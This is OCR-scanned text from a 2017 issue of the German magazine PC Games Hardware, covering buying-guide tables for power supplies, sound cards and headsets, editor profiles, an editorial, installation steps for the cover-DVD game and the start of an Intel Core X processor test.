Seasonic Prime Titanium 650W Ca. € 150,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 160,- | 4х 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 | 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Corsair HX1000i Са. € 160,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 | 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Ca. € 150,- | 4 x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 130,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 | 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate GE eye E o Besonderheiten u. a. Test in 
Creative Sound Blaster ZXR Са. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 аа Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 
Asus Xonar Essence STX 2 7.1 | Ca. 240,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 
Asus Xonar Phoebus Ca. 135,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate GE E GE - Besonderheiten u. a. Test in 
Creative Sound Blaster X7 Са. 320,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 
Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz С54361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TPS6130A2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 


Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 

Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 

Steelseries Siberia 800 Ca. 220,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 

Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 07/2016 Nicht gelistet NEU 

Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 

Sennheiser GSP 350 Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 03/2017 | www.pcgh.de/preis/1 543799 77 

Logitech G533 Wireless Ca. 100,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 

Lioncast LX 50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1 560427 77 
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SERVICE | Teamseite 


Die Redaktion 


E MU IU BAYER 
Chefredakteur E MU IU tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Eigentlich läuft alles soweit. Vielleicht brauche ich eine neue 
Tastatur am Spiele-PC, denn mit der aktuellen bekomme ich nach zwei Stunden 
Hammerwatch so ein taubes Gefühl in den Fingern. 


3 Spiele für die einsame Insel ... Battle for Wesnoth, Battle Brothers und 
NHL 95. Drei Spiele, in die ich sehr (SEHR) viel Lebenszeit investiert und es nie 
bereut habe. :-) 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
Z170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Unheimlich! Nur drei Tage, nachdem ich die Kolumne auf Seite 
12 der PCGH 06/2017 schrieb, wurde aus der Idee Realität — bei einer Titan 
X-ohne-p für 600 Euro konnte ich nicht widerstehen (beste Grüße an Black- 
voodoo aus dem PCGHX-Forum!). Next stop: Kühlerumbau. 


3 Spiele für die einsame Insel ... The Witcher 3, Flatout 2 und Unreal 
Tournament (alt). Alle DRM-frei von боб. Strom gibt's dann via Photovoltaik. 


Privat-PC: AMD Ryzen 1700 (3,0 GHz @ -0,94V), Asus Crosshair VI Hero, 2 
x 8 GiB DDR4-3200 (SR), Nvidia Titan X (Pascal) im Testmodus, LG DCI-AK-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Beim Desktop-Greis hat das Corsair-Netzeil spontan die Hufe 
hochgerissen. War eher unspektakulär, aber erst einmal gar nicht so klar. 
Gesucht wurde zunächst in Richtung Mainboard/Speicher/CPU. Lästig! 


3 Spiele für die einsame Insel ... sind meiner Ansicht nach besser End- 
losspiele. Statt eines guten Witcher 3 oder Uncharted 4 nominiere ich daher 
Anno 1701, OpenTTD und je nach Laune Minecraft oder Forza Motorsport 4. 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL Ei] 


Redakteur Ei] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Der braucht noch eine neue Soundkarte, weil C-Media keine 
Windows-10-Treiber für die älteren Chips zur Verfügung stellt. 


3 Spiele für die einsame Insel ... Warcraft 3 hat sich längst bewährt, 
wobei ein Multiplayer schon cool wäre. Ansonsten halt Tower Defenses und 
andere Fun-Maps gegen Bots. Simulationen wie Planet Coaster oder Cities 
Skylines wären ebenfalls nicht verkehrt. CS: GO zur Abwechslung? 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra II 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Meine Casemod erweist sich als aufwendiger als gedacht, da das 
80 Jahre alte Radio kaputter ist als zunächst ersichtlich. Ich bin also noch am 
Schreinern und grüble, was reinkommt. Soll es ein Ryzen werden? Hm . 


3 Spiele für die einsame Insel ... wären Fallout 4 (um mich über die 
Situation hinwegzutrösten), Supreme Commander 2 (Massenschlachten auf 
Mega-Maps gehen ewig) und Master of Magic (kein , weil" erforderlich). 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
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PC aktuell: Ich ersetze langsam all meine HDD-Datengräber durch SSDs. Nur 
noch eine 3-TB-Platte ist aktuell als Backup-Bunker verblieben. Außerdem 
versuche ich gerade, die Fallout-Reihe noch einmal komplett durchzuspielen. 


3 Spiele für die einsame Insel ... Hmm, vielleicht Europa Universalis als 
Quasi-Gegenpol zur einsamen Eigenverantwortung, ein Quake-Ableger für 
Aufregung und Reflexe sowie ein gutes Schachprogramm für den Geist. 


Privat-PC: 17-5820К @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeráte, Mauspads und G 


eháuse 


PC aktuell: Für meinen Bugdet-Pentium G4560 schwanke ich zwischen einer 
RX 560 und einer GTX 1050 als Grafikkarte — muss halt zum Budget passen. 
Und ich versuche auBerdem, irgendwie einen Ryzen 5 1600 zu rechtfertigen. 


3 Spiele für die einsame Insel ... müssten mich ja potenziell langfristig 
unterhalten. Also vielleicht Starcraft-2-TD (ja, ein Flash-Spiel), Defense Grid 
mit Community Created Content und ... Tetris, allein schon wegen der Musik. 


Privat-PC: i7-5775C (UV @ 3,6 GHz), 16 GiB DDR3-1866-RAM, NVME-SSD 
(128 GB), RX 480 (4--AG), 120Hz-LCD (24"), Mini-ITX-Gehäuse (11 Liter Vol.) 


PC aktuell: In meinem Test hat mich die Roccat Leadr so beeindruckt, dass 
ich meine Roccat Tyon gegen die drahtlose Leadr-Variante eintauschen werde. 


3 Spiele für die einsame Insel ... Assetto Corsa, Assetto Corsa, Assetto 
Corsa ... okay, wenn ich nicht GT3-Boliden über die Nordschleife pilotiere, 
zock ich auch gerne mal 'nen zünftigen Shooter. Also streiche ich 2x Assetto 
und ersetze sie durch Battlefield 1 sowie Wolfenstein: The New Order. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehàuse) 


ER UEM VOGEL 


Redakteur ER UEM tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontär | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


Maus aktuell: Roccats Leadr hat besser angeordnete, durchgängig funktio- 
nierende Tasten und verlangt nicht täglich nach einem neuen Akku. Trotzdem 
habe ich mich für Logitechs G700(S) entschieden — Ladestationen mag ich 
nicht, unbegrenzt Profile inklusive Beschleunigungsoption dagegen schon. 


Meine 3 Spiele für die einsame Insel ... wären ОТТО, Civ 3 und Deth- 
karz, aber wichtiger ist die Tauchausrüstung für das einsame Meer drumrum. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: In neuem Gewand, dank Corsair Carbide 240 Mini-ATX-Gehäuse. 
Neue Grafik, dank Upgrade auf RX 470. Next Mission: RAM-Module. 


3 Spiele für die einsame Insel ... Ganz oben auf der Liste ist definitiv The 
Last Of Us. Ein unglaublich grandioses Spiel, das ich in- und auswendig kenne. 
Dann ein simpler und fordernder Klassiker — Tetris. Und last but not least, ein 
Spiel für den Rest eines Lebens: Europa Universalis mit allen Erweiterungen. 


Privat-PC: Intel Core i5-3450, 8 GiByte DDR-RAM, XFX Radeon RX 470 RS 
Black Edition, P8B75-MLX (uATX) 


STEPHAN WILKE 
Community Content Commerce Manager | sw@pcgh.de | Fachbereiche: ОС, RAM, PCGH-Extreme-Forum 


PC aktuell: Da ich sowohl zu Hause als auch in der Arbeit die Logitech MX518 
im Einsatz hatte und die ständig gleiche Handposition nicht ideal ist, nutze 

ich nun in der Arbeit die ergonomische Maus Evoluent Vertical Mouse 3. Man 
gewóhnt sich überraschend schnell an das komplett andere Maus-Layout. 


3 Spiele für die einsame Insel ... sind GTA 5, Assetto Corsa und FIFA 17. 
Unendlich vielseitig ist dabei vor allem GTA 5. Bei FIFA ist die Version egal. 


Privat-PC: Core i7-7700K, 16 СІВ DDR4, Asus 2170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Dotemu schließt leider seinen Online-Shop für DRM-freie Spiele. :( 
Daher habe ich mir eine 4 TByte fassende externe Festplatte gekauft, um eine 
erste Sicherung meines kompletten Spiele-Bestands von dort durchzuführen. 


3 Spiele für die einsame Insel ... hm, fiese Frage! Ich wähle UT 2004, The 
Elder Scrolls Ill: Morrowind und Pirates! Gold. Umfang und Wiederspielwert 
sind enorm, Abwechslung ist dank unterschiedlicher Genres gewährleistet. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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Günstige Notebooks im Test* 


Wie gut kann man mit preiswerten Laptops spielen? Welche Hardware sollte in dem mo- 
bilen Spielkameraden stecken, damit es noch ruckelfrei läuft? Um diese Fragen zu klären, 
bitten wir sechs günstige Gaming-Notebooks in unser Testlabor. 


Marktüber- 
sicht: Draht- 
lose Màuse* 


Wie schlàgt sich die neue Genera- 
tion drahtloser Mäuse im Spiele- 
einsatz? PCGH macht den Test. 


Kaufbera- 
tung: 
Netzteile* 


Der Stromwandler ist ein elementa- 
res PC-Bauteil. Wir zeigen, was Sie 
beim Kauf beachten sollten. 


Weitere Themen (u. a.) 


I Tests: GTX 1080 Ti (Custom-Designs, Teil 2), große Gehäuse, Luftkühler 
I Praxis: Kühlung für M.2-SSDs, BIOS/UEFI konfigurieren 
I Info: Grafikeffekte erklärt (Teil 5), Legendäre Preis-Leistungs-Tipps 
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Revelations 


Die nächste PC Games Har 
ware erscheint am 5. Juli 2017. 
Abonnenten bekommen das 
Heft üblicherweise 
einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewähr. Aufgrund von Termin- 
verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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Editorial | SERVICE 


Logbuch #202: Core-X-Launch, 
ining-Irrsinn und Frust-Waffen 


Core-X-Launch: Wer gedacht hat, dass AMD bei Ryzen einen holprigen Launch hingelegt hat (ich 
erinnere an das Chaos bei Mustern, UEFI-Versionen und RAM-Kompatibilität), der muss nach 
dem Core-X-Launch von Intel umdenken. Seit PCGH am Markt ist, kann ich mich nicht an einen 
solchen Produktlaunch von Intel erinnern. Zum Fall des Test-Embargos am 19. Juni hatte in 
ganz Deutschland niemand offizielle Prozessoren. Und blickte man zu diesem Zeitpunkt über 
á ` den großen Teich, wusste man nicht, ob man die US-Kollegen nun beneiden oder bedauern 
Š sollte. Offenbar waren die UEFI-Versionen der Mainboards derart unausgereift, dass zumindest 
. 0 bei einigen Spielen keine sinnvollen Messungen möglich waren. Uns erreichte auch erst Tage 
später eine UEFI-Version für eines unserer Muster, die eine akzeptable Spieleleistung erlaubte. 
z Ich kann ja verstehen, dass man bei Intel durch die Vorstellung von Ryzen und Threadripper 
о Bayer. etwas aufgeschreckt ist. Wer jahrelang keinen ernsthaften Konkurrenten hat, der verfällt gerne 
PC Games Hardware in einen Dornröschenschlaf. Aber ein holpriger Start hilft weder Intel noch interessierten Le- 
sern. Wenn am 26. Juni der Verkauf startet (diese Zeilen schreibe ich bereits am 23. Juni), dann 

ist aufgrund der UEFI-Situation Ärger bei den Erstkäufern vorprogrammiert. 


* 
p 


Mining-Irrsinn: Das Erschaffen von Kryptowährungen (Mining genannt) über geeignete Grafikkarten (siehe auch Seite 
50) hat zuletzt absurde Züge angenommen. Quasi über Nacht waren bestimmte Grafikkarten (exemplarisch genannt 
seien RX 480, RX 580, GTX 1060 und GTX 1070) entweder gleich ganz ausverkauft oder nur noch zu Mondpreisen zu 
bekommen. Gebrauchte Karten auf Ebay und Co. erzielen Preise, die weit über dem liegen können, was man einmal 
neu dafür bezahlt hat. Die spekulative Hoffnung auf das schnelle Geld bei Kryptowährungen sorgt nun dafür, dass auf 
mittelfristige Sicht das Preisniveau bei Grafikkarten steigt - und das betrifft dann jeden von uns. Selbst wenn sich GTX 
1080 oder 1080 Ti gar nicht gut für das „Minen“ eignen, ist nicht ausgeschlossen, dass sich auch hier die Preise nach oben 
bewegen, weil die Karten darunter kaum noch zu haben sind. 


Die Waffe der Frustrierten: Steam-Käufer haben eine neue Waffe gegen unliebsame Entscheidungen der Publisher ent- 
deckt: negative Wertungen. Im Juni hat es besonders Rockstar und Publisher Paradox getroffen. Beide trafen unliebsame 
Entscheidungen (Rockstar erklärte OpenIV für unerwünscht, Paradox hob die Preise vor dem Steam Sale an), beide wur- 
den teilweise heftigst mit Negativwertungen abgestraft. Wie finden Sie die neue Waffe der Frustrierten? 


Viel Spaß mit der Ausgabe Nummer 202 wünscht Ihr 
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+++ Carsten ist in Goldgräberstimmung und erklärt, wie man sich mithilfe ei- 
ner Grafikkarte Krypto-Währung verdient +++ Manuel testet günstige Gaming 
Notebooks und prüft, ob diese mobilen Spielspaß für kleines Geld liefern +++ 
Torsten demonstriert anhand einer Explosionsgrafik, wie eine Miniatur-Flüssig- 
keitskühlung aufgebaut ist +++ Alexandros berät Sie beim Kauf eines Netzteils 
und zeigt, dass es bei Stromgebern auf mehr als nur die Leistung ankommt +++ 
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Qualität von Micron®: Zuverlässigkeit für Profi-Gamer. 

Ballistix ist die einzige Gaming-Marke, die als Teil eines der größten Speicherhersteller die 
Produkte von Beginn bis Fertigstellung baut und testet. Der Ballistix DRAM ist robust gebaut 
und liefert mehr Leistung als ein standardmäßiger PC-Speicher. Seit über 35 Jahren entwerfen 
wir Speicher: vom traditionellen DDR-Speicher bis hin zur Zukunft der Gaming-Leistung, den 
Ballistix DDR4-Modulen. Machen Sie sich bereit und steigern Sie die Leistung im Spiel mit 
Arbeitsspeichern von Ballistix auf das nächste Level - unterstützt durch wettbewerbsfähige 
Garantien, eine passionierte Fan-Community und ein eigenes Gamer-Support-Team. 


BUILT TO WIN 


http://www.hallistixgaming.de 
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Assassin's 


I Der dritte und abschließende Teil der Ezio-Trilogie innerhalb des 
Assassin's-Creed-Universums. 


I Meistern Sie die todbringenden Fertigkeiten eines weiseren, effektiveren 
und noch gefáhrlicheren Ezio. 


I Eliminieren Sie Ihre Gegner mit einem neuen Arsenal von Waffen und 
Fähigkeiten wie neuen Kampfaktionen mit der Hakenklinge. 


I Erleben Sie dank der Bombenherstellung und des verbesserten Adler- 
sinnes neue Freiheiten im Gameplay, um Ihre Gegner und die Umwelt zu 
bewältigen. 


I Testen Sie Ihre Fähigkeiten gegen die Besten. Das Mehrspielererlebnis 


wird noch fesselnder mit ganz neuen Teammodi und daher quasi unbe- 
e иш grenztem Wiederspielwert. 


E Erforschen Sie die Weiten des Animus während Sie das Geheimnis von 
Desmonds Vergangenheit entdecken und Einsicht in zu- 


PC ovo-rom ELIT 


Vollversion mee künftige Geschehnisse erhalten. 
® Assassin's Creed: Revelations AS SA S S | м$ 

š CREED | 
Specials 


Es ELATIONS 


» 


29 Begleitmaterial: Custom-Designs GTX 1080 Ti Niedrigste Detailstufe 


(PDF-Artikel aus PCGH 06/2017) 


Tools 

® GPU-Z 2.1.0, Nvidia Inspector 1.9.7.8, PCGH-VGA- 
Tool 1.0.1, AS-SSD Benchmark 1.9.5986, Super Pi w í š Sg i = 
1.9, Core Temp 1.7.0, CPU-Z 1.79.1 Su 75 E LET SO, ` "n — EM 


ASSASS LE = 


toa 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kónnen Sie uns bequem 
Rückmeldung geben, welche Inhalte von Heft und DVD Ihnen gefallen 
haben. Dazu starten wir jeden Monat Umfragen und ein Feedback- 
Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl 
von PCGH besser auf die Wünsche der Leser abzustimmen — die einzige 
Voraussetzung ist ein kostenloser Foren-Account, der mit wenigen Maus- 
klicks eingerichtet ist. www.pcgh.de/feedback 


Hóchste Detailstufe 
тт m E 


Нагйшаге 
PCGH 07/2017: Umfrage 


EN "3 KM Ke Be 


| Systemvoraussetzungen minimal: Betriebssystem: Windows SP3, Vista SP2/7 SP1 
| oder neuer, CPU: Core 2 Duo E4300 oder Athlon 64 X2 4000+, RAM: 1,5 GiByte unter 
Windows XP, 0,5 GiByte mehr ab Windows Vista, Grafik: Nvidia Geforce 8600 GTS/AMD 
Radeon HD 2600 XT oder höher (256 MiB), HDD/SSD-Speicher: 12 GByte. 


Systemvoraussetzungen empfohlen: Betriebssystem: Windows SP3, Vista SP2/7 
SP1 oder neuer, CPU: Core 2 Duo E6700 oder Athlon 64 X2 6000+, RAM: 2 GiByte, 
Grafik: Nvidia Geforce 8600 GTS/AMD Radeon HD 2600 XT oder höher (512 MiB, 
Shader-Modell 5.0), HDD/SSD-Speicher: 12 GByte. 


Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift (Name, Straße, 
PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 08/2017) unter dem Betreff „PC Games Hardware: 
DVD-Reklamation" an computec@dpv.de. 
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Creed: Revelations 


Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 
Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlósen. 


Meister-Assassine Ezio Auditore begibt 
sich im vierten Teil der Action-Adven- 
ture-Reihe auf eine Reise voller Entde- 
ckungen und Enthüllungen. Assassin's 
Creed: Revelations führt ihn ins dama- 
lige Konstantinopel und damit mitten 
ins Herz des Osmanischen Reiches. Dort 
droht eine rasch wachsende Armee von 
Templern die Region zu destabilisieren. 


Ersteinrichtung: 

Die Installation verláuft aus technischen 
Gründen unter Umständen etwas kompli- 
zierterals gewöhnlich — so geht's: 


И Lösen Sie in jedem Fall den Code auf 
der Karte (S. 66/67) unter www.pcgh.de/ 
codes für einen Uplay-Key ein! 


N Installation komplett via Uplay: Falls 
Sie das Ubisoft-Tool bereits installiert ha- 
ben, geben Sie dort einfach den Uplay- 
Code über das Schlüsselsymbol ein. 
Assassin's Creed Revelations wird dann 
automatisch heruntergeladen und auf 
den neuesten Stand gepatcht. Insgesamt 
beträgt die Downloadgröße etwas über 
9,5 GByte, die DVD ist dabei nicht nótig. 


N Installation von Heft. DND ohne instal- 
liertes Uplay: Starten Sie das Setup von 
der Heft-DVD. Merken Sie sich dabei, 
in welchen Ordner das Spiel installiert 
wird (voreingestellt ist C:\Program Files 
(x86)\Ubisoft\Assassin’s Creed Revela- 
tions), denn das Programm legt leider 


auch optional weder eine Desktop-Ver- 
knüpfung noch einen Startmenü-Eintrag 
an. Nach der Installation navigieren Sie 
mit dem Windows-Explorer in den ent- 
sprechenden Ordner und rufen Sie die 
Datei AssassinsCreedRevelations.exe mit 
einem Doppelklick auf. Nach der Aktua- 
lisierung auf Version 1.02 EU (ca. 570 
MByte) müssen Sie ein wenig Geduld ha- 
ben, bis der Patcher sich selbst beendet 
und die aktualisierte Spielversion startet. 
Ein weiterer Patch muss installiert wer- 
den, anschließend wird Uplay aufgeru- 
fen, welches sich ebenfalls aktualisiert. 
Dort können Sie dann den Spielcode 
im Bereich ,Spiele" durch einen Klick 
auf das Schlüsselsymbol einlösen, das 
Spiel wird ein weiteres Mal gepatcht 
(diesmal auf Version 1.03 EU, ca. 96,5 
MByte), auch hier dauert es etwas, bis 
der Patcher sich schließt) und ist dann 
endlich bereit. 


И Installation von Heft-DVD bei bereits 
installiertem Uplay: Führen Sie die Erst- 
installation wie in der vorigen Variante 
aus — statt danach aber manuell in den 


Ordner zu navigieren, starten Sie ein- 
fach Uplay und lösen dort den Uplay- 
Code ein. Assassin's Creed: Revelations 
befindet sich anschlieBend bereits in der 
Uplay-Bibliothek und muss beim ersten 
Aufruf nur noch einmal gepatcht werden. 


Praxis-Tipp für Geforce-User: 

Sollte es, wie einige Nutzer seit Jahr 
und Tag im Internet berichten, auch mit 
akuellen Geforce-Treibern (382.53 WHQL 
im Test mit einer GTX 1070) zu starkem 
Bildschirmflackern kommen, hilft es un- 
serer Erfahrung nach nicht, das Spiel als 
Administrator zu starten, wie oft gera- 
ten wird. Auch das Uplay- respektive 
Steam-Overlay oder Teile von Nvidias 
Geforce Experience dürften unschuldig 
sein, da zumindest die letzteren beiden 
auf unserem Testsystem gar nicht instal- 
liert waren. Stattdessen half es bei uns 
zuverlässig, die Datei „systemdetection. 
dll” im Spielverzeichnis umzubenennen 
oder zu lóschen. 


Auf Radeon-Karten wie der RX 580 tra- 
ten im Test mit der Radeon Software 
Crimson Edition 17.5.2 und 17.6.1 keine 
derartigen Probleme auf. (cs) 


SPECIAL | Skylake X 


Intel® Core" i5 x-sefgs Processor 


Intel® Core" i7 X-sel 


c» 


'ocessor 


` 


intel 


intel" Core” 19 X-sefies Processor 


A 


SERIES 


` 


Intels neue Соге-Х-бепе 


Die Basin-Falls-Plattform mit Sockel 2066, Kaby Lake X sowie Skylake X stellt Intels neues High-End- 
Aufgebot. Wir machen einen ersten Test, erlàutern die Plattform und prüfen das OC-Potenzial. 


ur wenige Monate nach AMD 
N mit dem Ryzen im Sockel 
АМ4 erneuert Intel seine High- 
End-Plattform und bringt mit dem 
Sockel 2066 eine Heimstatt für 
Prozessoren mit vier bis achtzehn 
Kernen auf den Markt. In ihr fin- 
den zwei verschiedene Baureihen 
Platz: Kaby Lake X und Skylake X. 
Von beiden Varianten haben wir 
buchstäblich in letzter Minute Test- 
muster erhalten und stellen Ihnen 
die CPUs und die neue Plattform 
auf den folgenden Seiten vor. 
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Die Vermischung zweier bekannter 
Zitate (aus Hamlet und Faust) passt 
hier wie die Faust aufs Auge, denn 
mit Skylake X und Kaby Lake X bie- 
tet Intel erstmals Architekturen aus 
zwei verschiedenen Segmenten in 
einer Plattform an. Im Vorfeld wur- 
de bereits viel über den Sinn der 
beiden vergleichsweise günstigen 
Einstiegsmodelle Core 15-7640Х 
und Core i7-7740 gerátselt. Denn 
weder kónnen sie von den auf 


Quad-Channel-Speicher ausgeleg- 
ten Boards profitieren (die Hälfte 
der DIMM-Sockel bleibt komplett 
funktionslos) noch dürfen sie ihre 
integrierten Grafikeinheiten nut- 
zen. Mehr noch: Je nach Boardver- 
schaltung ist es möglich, dass auch 
die erste Grafikkarte nur maximal 
mit 8 anstelle der 16 möglichen 
PCI-E-3.0-Lanes angebunden wird. 
Dem gegenüber steht einzig die Er- 
höhung der offiziellen TDP von 91 
auf 112 Watt - ein Wert, den Otto 
Normalnutzer meist eh nicht er- 


reicht und über den Übertakter nur 
müde lächeln. Apropos: Vielleicht 
gibt es ja beim OC (5. 5.22) Vorteile. 


Spannender, weil ganz offensicht- 
lich als Reaktion auf AMDs erfolg- 
reichen Ryzen-Launch vorgezogen 
und entsprechend aufgestellt, ist 
Skylake X, im Server- und Worksta- 
tion-Segment mit demselben Die 
als Skylake SP („scalable perfor- 
mance“) vermarktet. Die Prozesso- 
ren werden wie beim Kaby Lake (X) 
auch nach wie vor in Intels 14-nm- 
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Skylake X | SPECIAL 


Alle aktuellen Core-X-Modelle in der Übersicht 


Modell Codename Sockel Kerne/ Basistakt Turbo 2.0 Turbo 3.0 L3-Cache TDP (Watt) | PCI-E-Lanes | Listenpreis 
Threads (GHz) (GHz) (GHz) (MiB) (US-Dollar) 
Core i9-7980XE Skylake X 2066 18/36 2 ? 2 24,75 Li 1.899 
Core i9-7960X Skylake X 2066 16/32 ? ? ? 22,00 2 ? 1.699 
Core i9-7940X Skylake X 2066 14/28 ? ? ? 19,25 ? ? 1.399 
Core i9-7920X Skylake X 2066 12/24 ? Li ? 16,50 ? ? 1:198 
Core i9-7900X Skylake X 2066 10/20 33 43 45 13,75 140 44 989 
Core i7-7820X Skylake X 2066 8/16 3,6 43 45 11,0 140 28 589 
Core i7-7800X Skylake X 2066 6/12 3,5 40 - 8,25 140 28 383 
Core i7-7740X Kaby Lake X 2066 4/8 43 45 - 8,00 112 16 339 
Core i5-7640X Kaby Lake X 2066 44 4,0 4,2 - 6,00 112 16 242 
Zum Vergleich: 
Core i7-6950X Broadwell-E 2011-v3 10/20 3,0 3,5 4,0 25,00 140 44 1723 
Соге 17-6900К Broadwell-E 2011-v3 8/16 32 3,7 4,0 20,00 140 44 1089 
Core i7-6850K Broadwell-E 2011-v3 6/12 3,6 3,8 4,0 15,00 140 40 617 
Соге 17-6800К Broadwell-E 2011-v3 6/12 3,4 3,6 3,8 15,00 140 28 434 
Core i7-7700K Kaby Lake 1150 4/8 4,2 4,5 - 8,00 91 16 339 
Core i5-7600K Kaby Lake 1150 4/4 3,8 4,0 - 6,00 91 16 242 


Core i9-7900X und i7-7740X im Effizienztest 


Effizienz in Spielen 


Intel Core i7-7740X (4,3+ GHz - 4c/8t 
